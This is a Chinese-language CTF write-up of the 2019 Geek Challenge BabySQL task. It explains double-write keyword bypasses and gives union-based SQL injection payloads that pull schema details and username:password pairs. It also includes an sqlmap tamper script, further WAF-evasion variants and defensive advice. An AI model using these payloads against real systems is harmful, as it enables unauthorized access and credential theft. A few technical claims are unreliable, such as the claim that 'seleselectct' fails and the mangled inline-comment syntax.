1. 解题背景与靶场环境分析
2019年极客大挑战中的BabySQL题目是一个经典的SQL注入教学案例,主要考察选手对基础注入手法的掌握程度和绕过过滤机制的思维能力。题目环境模拟了一个简单的用户登录系统,后端使用MySQL数据库,并设置了关键词过滤机制。
靶场页面呈现为一个基础登录表单,包含username和password两个输入框。通过简单测试可以发现,当输入单引号时页面返回数据库错误信息,暴露出存在SQL注入漏洞。但直接使用union select等常规注入语句会被拦截,提示"no hack"。
关键发现:错误信息显示后端使用MySQL 5.7版本,这对后续注入手法的选择有重要影响。MySQL 5.x与8.x在information_schema结构、默认函数等方面存在差异。
2. 过滤机制分析与双写绕过原理
2.1 黑名单过滤机制识别
通过系统性的fuzz测试,可以整理出服务端的过滤规则:
- 完全拦截的关键词:select, union, where, from, or, and
- 部分拦截的特殊字符:单引号(但可通过转义绕过)、注释符(--、#)
- 未过滤的关键词:concat, substr, database(), version()
这种基于黑名单的过滤方式存在明显缺陷——只检测完整关键词而不处理变形或分割写法。这为双写绕过技术提供了可能。
2.2 双写绕过技术详解
双写绕过(Double Write Bypass)的核心原理是:当WAF或过滤系统简单删除敏感关键词时,通过构造如"SELselectECT"这样的payload,在被删除中间的"select"后,剩下的字符仍能组合成有效SQL语句。
具体实现示例:
原语句:UNION SELECT 1,2,3 过滤后:UNION 1,2,3(无效) 双写payload:UNIunionON SELselectECT 1,2,3 过滤后:UNION SELECT 1,2,3(有效)技术要点:双写时要注意关键词分割位置。例如"selselectect"过滤后会变成"select",而"seleselectct"则无效。
3. 完整注入流程与手工实现
3.1 数据库结构探测
使用双写技术逐步获取数据库信息:
- 判断注入点:
admin' aandnd '1'='1 - 获取列数(通过order by):
admin' oorrder bbyy 3-- - 确定回显位:
-1' ununionion selselectect 1,2,3--
3.2 关键数据提取技巧
获取数据库名:
-1' ununionion selselectect 1,database(),3--获取表名(需处理information_schema过滤):
-1' ununionion selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()--获取字段名:
-1' ununionion selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='users'--最终数据提取:
-1' ununionion selselectect 1,group_concat(username,':',password),3 frfromom users--4. 自动化工具适配与优化
4.1 SQLmap tamper脚本开发
虽然手工注入可行,但实际渗透测试中常使用SQLmap提高效率。针对此题需要自定义tamper脚本:
def tamper(payload, **kwargs): return payload.replace("UNION", "UNIunionON").replace("SELECT", "SELselectECT") \ .replace("FROM", "FRfromOM").replace("WHERE", "WHEwhereRE")使用方式:
sqlmap -u "http://target.com" --tamper=babysql.py --technique=U4.2 常见工具配置要点
- Burp Suite Intruder:配置payload processing规则,自动添加双写变形
- OWASP ZAP:使用Scripts功能实现实时payload编码
- 自定义Python脚本:处理复杂过滤逻辑时最灵活的方案
5. 防御方案与实战启示
5.1 安全开发建议
- 参数化查询(Prepared Statements)是根本解决方案
- 若必须使用过滤:
- 采用白名单而非黑名单机制
- 实现递归过滤直至无敏感词残留
- 结合正则表达式检测变形写法
5.2 管理员加固措施
- 修改MySQL默认error_reporting级别
- 限制数据库用户权限(REVOKE SELECT ON information_schema.*)
- 部署WAF规则更新双写绕过特征检测
6. 同类题目扩展思路
在[极客大挑战2019]LoveSQL等类似题目中,还可尝试:
- 大小写混合:SeLeCt
- 内联注释:/!SELECT/
- URL编码:%53%45%4C%45%43%54
- 等价函数替换:mid()代替substr()
实际渗透测试中,这些技术往往需要组合使用。我曾遇到过一个真实案例,需要同时使用双写+大小写+注释才能成功绕过云WAF的检测。